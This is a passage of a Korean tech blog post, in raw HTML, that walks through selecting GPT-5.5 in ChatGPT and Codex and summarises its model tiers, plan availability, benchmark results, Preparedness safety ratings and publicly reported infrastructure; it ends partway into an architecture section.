&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- &lt;a href=&quot;https://chatgpt.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://chatgpt.com/&lt;/a&gt;&amp;nbsp;접속&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 좌상단의 모델 리스트 선택 &amp;gt; 구성... 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;570&quot; data-origin-height=&quot;616&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpltc2/dJMcaarxoE6/DEFM1zjiMyplrWKlvctqYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpltc2/dJMcaarxoE6/DEFM1zjiMyplrWKlvctqYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpltc2/dJMcaarxoE6/DEFM1zjiMyplrWKlvctqYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcpltc2%2FdJMcaarxoE6%2FDEFM1zjiMyplrWKlvctqYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;268&quot; height=&quot;290&quot; data-origin-width=&quot;570&quot; data-origin-height=&quot;616&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 5.5 모델을 선택할 수 있음을 확인 가능하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1128&quot; data-origin-height=&quot;1116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKVZXm/dJMcaaLPZWi/7TowfgHvmcjlhgB8xujhRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKVZXm/dJMcaaLPZWi/7TowfgHvmcjlhgB8xujhRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKVZXm/dJMcaaLPZWi/7TowfgHvmcjlhgB8xujhRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKVZXm%2FdJMcaaLPZWi%2F7TowfgHvmcjlhgB8xujhRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;424&quot; height=&quot;419&quot; data-origin-width=&quot;1128&quot; data-origin-height=&quot;1116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 코덱스 최신 버전에서 실행 (나의 경우 : 0.124.0 버전 )&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;gt; GPT5.5 버전을 사용할 수 있음을 바로 안내해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; &amp;nbsp; ( 자세한 업데이트 내용은 공식문서를 참고 하라는 내용 : &lt;a href=&quot;https://openai.com/index/introducing-gpt-5-5/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://openai.com/index/introducing-gpt-5-5/&lt;/a&gt; )&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1656&quot; data-origin-height=&quot;350&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBFeXZ/dJMcafsOVCe/heAGJpzLTSayBZwRtJT2jK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBFeXZ/dJMcafsOVCe/heAGJpzLTSayBZwRtJT2jK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBFeXZ/dJMcafsOVCe/heAGJpzLTSayBZwRtJT2jK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBFeXZ%2FdJMcafsOVCe%2FheAGJpzLTSayBZwRtJT2jK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1656&quot; height=&quot;350&quot; data-origin-width=&quot;1656&quot; data-origin-height=&quot;350&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- /model 입력하여 변경해보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1310&quot; data-origin-height=&quot;370&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHUTKn/dJMcagyt6S5/j12bMpQsA8MummfHr3AuG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHUTKn/dJMcagyt6S5/j12bMpQsA8MummfHr3AuG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHUTKn/dJMcagyt6S5/j12bMpQsA8MummfHr3AuG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHUTKn%2FdJMcagyt6S5%2Fj12bMpQsA8MummfHr3AuG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1310&quot; height=&quot;370&quot; data-origin-width=&quot;1310&quot; data-origin-height=&quot;370&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- xhigh는 간단한 업무엔 너무 과하니 high로 선택 하였다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NQ0DV/dJMcagL38Y0/je4SeeDHirtec38cr7K3e1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NQ0DV/dJMcagL38Y0/je4SeeDHirtec38cr7K3e1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NQ0DV/dJMcagL38Y0/je4SeeDHirtec38cr7K3e1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNQ0DV%2FdJMcagL38Y0%2Fje4SeeDHirtec38cr7K3e1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;96&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - ChatGPT든, Codex든 이제 5.5를 사용해볼 준비는 완료 되었다. 다만 간단히 이론을 살펴보고 갈 예정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 id=&quot;section-2&quot; style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 40px 0 16px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 시작하기: 모델 계층과 가용성&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLHIdA/dJMcahc6VUm/coFpMhRo70OfKbcLWyTbK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLHIdA/dJMcahc6VUm/coFpMhRo70OfKbcLWyTbK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLHIdA/dJMcahc6VUm/coFpMhRo70OfKbcLWyTbK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLHIdA%2FdJMcahc6VUm%2FcoFpMhRo70OfKbcLWyTbK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1106&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;네 가지 모델 계층&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT-5.5는 단일 모델이 아니라 네 가지 계층으로 구성된다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;적합한 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5 (기본)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;표준 성능, 범용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;일반 개발, 콘텐츠 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5 Thinking&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;응답 전 내부 검증으로 정확도 향상&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;고정밀 수학&amp;middot;과학&amp;middot;법률 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;GPT-5.5 Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;최상위 성능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;최전선 연구&amp;middot;엔터프라이즈 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;Fast Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;1.5배 빠른 토큰 생성, 비용 2.5배&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #dde6ef; padding: 10px 14px;&quot;&gt;실시간 응답이 필요한 프로덕션 서비스&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fast Mode는 속도를 위해 비용을 2.5배 지불한다. 비용 민감 서비스라면 Batch/Flex 옵션(50% 할인)과의 트레이드오프를 반드시 계산해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;플랜별 가용성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPT-5.5 기본 모델은 Plus, Pro, Business, Enterprise 플랜에서 사용 가능하다. GPT-5.5 Pro는 Pro, Business, Enterprise 전용이다. 개인 무료 사용자는 GPT-5.5에 접근할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;컨텍스트 윈도우&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT 환경의 최대 컨텍스트는 1,000,000 토큰(1M)이다. Codex 환경에서는 400K 토큰으로 제한된다. 1M 컨텍스트는 수백 페이지 분량의 문서를 한 번에 넣을 수 있는 수준이며, 이 용량을 실제로 활용하는 능력은 3절과 4절에서 벤치마크로 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 id=&quot;section-3&quot; style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 40px 0 16px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 주요 기능 상세&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tMq7O/dJMcahKXXfg/PkvXNeKvTkWMZL4zNcwysk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tMq7O/dJMcahKXXfg/PkvXNeKvTkWMZL4zNcwysk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tMq7O/dJMcahKXXfg/PkvXNeKvTkWMZL4zNcwysk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtMq7O%2FdJMcahKXXfg%2FPkvXNeKvTkWMZL4zNcwysk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1078&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;에이전틱 코딩: Terminal-Bench 2.0과 Expert-SWE&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Terminal-Bench 2.0은 계획&amp;middot;반복&amp;middot;도구 협조가 필요한 복잡한 명령줄 워크플로우를 테스트하는 벤치마크이다. GPT-5.5는 이 벤치마크에서 82.7%를 기록했고, 전작 GPT-5.4는 75.1%였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Expert-SWE는 OpenAI가 개발한 내부 벤치마크로, 인간이 완료하는 데 중간 예상 시간이 20시간인 장기 코딩 태스크를 측정한다. GPT-5.5는 여기서 73.1%를 달성했다. 20시간짜리 코딩 작업을 70% 이상 완수한다는 건, 자동완성 수준이 아니라는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;컴퓨터 사용: OSWorld-Verified 78.7%&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OSWorld-Verified는 실제 데스크톱 환경에서 마우스&amp;middot;키보드 조작, 파일 관리, 앱 실행 등을 포함한 컴퓨터 사용 능력을 평가한다. GPT-5.5는 78.7%를 기록했다. OpenAI의 Mark Chen은 &quot;컴퓨터 작업 탐색 능력이 전작보다 훨씬 뛰어나다&quot;고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비교 맥락에서 보면, Claude Opus 4.7도 같은 벤치마크에서 78.0%를 기록해 GPT-5.5와 거의 동등하다. 컴퓨터 사용 영역은 현재 두 모델이 사실상 동률로 경쟁 중이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;지식 노동: GDPval 84.9%&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GDPval은 44개 직종에 걸친 지식 노동 능력을 평가하는 벤치마크다. GPT-5.5는 84.9%(wins/ties)를 기록했다. 고객 서비스 워크플로우를 평가하는 Tau2-bench Telecom에서는 프롬프트 튜닝 없이 98.0%라는 높은 수치를 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, GDPval 기준 전작 GPT-5.4는 83.0%였다. 1.9%p 향상이다. 일반적인 전문 사무 업무에서 체감 향상이 얼마나 뚜렷할지에 대해서는 6절에서 단점과 함께 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTpKh5/dJMcajvc3td/zI88DeQiIHirF6H2QYrnn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTpKh5/dJMcajvc3td/zI88DeQiIHirF6H2QYrnn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTpKh5/dJMcajvc3td/zI88DeQiIHirF6H2QYrnn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTpKh5%2FdJMcajvc3td%2FzI88DeQiIHirF6H2QYrnn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1072&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;과학 연구: FrontierMath와 장문 컨텍스트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수학 분야에서 GPT-5.5는 FrontierMath Tier 1-3에서 51.7%, 최고 난도인 Tier 4에서 35.4%를 기록했다. Claude Opus 4.7과 Gemini 3.1 Pro를 크게 앞서는 수치다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Mark Chen은 &quot;과학적&amp;middot;기술적 연구 워크플로우에서 의미 있는 향상이 있으며, 전문 과학자들의 연구 진보를 실질적으로 도울 수 있다&quot;고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;장문 컨텍스트 처리도 주목할 만한 도약을 보였다. MRCR v2(512K~1M 토큰)에서 GPT-5.5는 74.0%로, 전작 GPT-5.4의 36.6% 대비 2배 이상 향상됐다. 1M 토큰 Graphwalks BFS 태스크에서는 45.4%로, 전작(9.4%) 대비 약 5배 향상됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;웹 리서치: BrowseComp&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BrowseComp에서 GPT-5.5 기본 모델은 84.4%, GPT-5.5 Pro는 90.1%를 기록했다. 웹 검색&amp;middot;리서치가 핵심인 워크로드에서 GPT-5.5 Pro는 Claude Opus 4.7(79.3%)을 10%p 이상 앞선다. 단, 기본 모델 기준으로는 Gemini 3.1 Pro(85.9%)에 소폭 뒤처진다는 점은 유의할 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;도구 사용: Toolathlon&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도구 사용 능력을 평가하는 Toolathlon 벤치마크에서 GPT-5.5는 55.6%로 Gemini 3.1 Pro(48.8%)를 앞섰다. 전작 GPT-5.4(54.6%)와 비교하면 소폭 향상됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MCP Atlas(Scale AI 운영 도구 사용 벤치마크, 75.3%)에서 경쟁 모델에 뒤지는 것과 대비하면, Toolathlon에서는 GPT-5.5가 우위를 보인다. 두 벤치마크의 결과가 엇갈리는 만큼, 도구 사용 능력 평가 시 어떤 종류의 도구 워크플로우가 핵심인지에 따라 판단 기준을 달리해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;안전성 평가: 역대 가장 강력한 가드레일&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1998&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6o7Zb/dJMcabxbjlB/bnj9nZ1lIhZxexyYWAos21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6o7Zb/dJMcabxbjlB/bnj9nZ1lIhZxexyYWAos21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6o7Zb/dJMcabxbjlB/bnj9nZ1lIhZxexyYWAos21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6o7Zb%2FdJMcabxbjlB%2Fbnj9nZ1lIhZxexyYWAos21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1998&quot; height=&quot;1078&quot; data-origin-width=&quot;1998&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;GPT-5.5는 Preparedness Framework v2에 따라 사이버 보안&amp;middot;생물학&amp;middot;화학 세 분야 모두에서 'High' 등급 평가를 받았다. Critical 등급에는 해당하지 않으나, 세 분야 모두 High로 분류된 것은 능력 향상에 따른 위험 수준이 상당함을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 따라 OpenAI는 GPT-5.5에 역대 가장 강력한 안전 분류기(classifier)를 적용했다. 특히 CyberGym 벤치마크 성능(81.8%)이 향상되면서, 초기에는 사이버 관련 요청 거부율이 높아질 수 있다고 공식 안내했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 연구자를 위한 별도 채널도 마련됐다. Trusted Access for Cyber 프로그램을 통해 검증된 보안 연구자와 주요 인프라 관리자에게는 제한 완화 모델(예: GPT-5.4-Cyber) 접근이 제공된다. 강화된 가드레일이 보안 전문 업무의 활용성을 제한하는 문제를 해결하기 위한 제도적 완충 장치다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 id=&quot;section-4&quot; style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 40px 0 16px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 공개 정보 기반 아키텍처 추정&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 16px 20px; border-radius: 0 8px 8px 0; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 섹션은 공개된 정보를 기반으로 한 추정이다.&lt;/b&gt; OpenAI는 내부 아키텍처를 공개하지 않으므로, 아래 내용은 공식 발표에서 확인된 사실과 그로부터의 합리적 추론이 혼재한다. 공식 확인이 필요한 결정에는 이 섹션을 단독 근거로 사용하지 않도록 권한다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;NVIDIA GB200 NVL72 기반 인프라&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI는 공식 블로그에서 GPT-5.5의 훈련 및 서빙 인프라가 NVIDIA GB200 NVL72 및 GB300-NVL72 시스템 기반으로 최적화됐다고 밝혔다. GB200 NVL72는 72개의 Blackwell GPU를 NVLink로 연결한 대규모 추론 특화 시스템으로, 초고밀도 행렬 연산과 대규모 배치 처리에 유리하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; font-weight: 600; color: #1a3a52; margin: 28px 0 12px;&quot; data-ke-size=&quot;size23&quot;&gt;자기 최적화: Codex가 인프라를 개선하다&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1030&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vp8ap/dJMcagedGTR/2LVmHoAgWLkPhQrc0Tfqf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vp8ap/dJMcagedGTR/2LVmHoAgWLkPhQrc0Tfqf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vp8ap/dJMcagedGTR/2LVmHoAgWLkPhQrc0Tfqf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvp8ap%2FdJMcagedGTR%2F2LVmHoAgWLkPhQrc0Tfqf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;1030&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1030&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

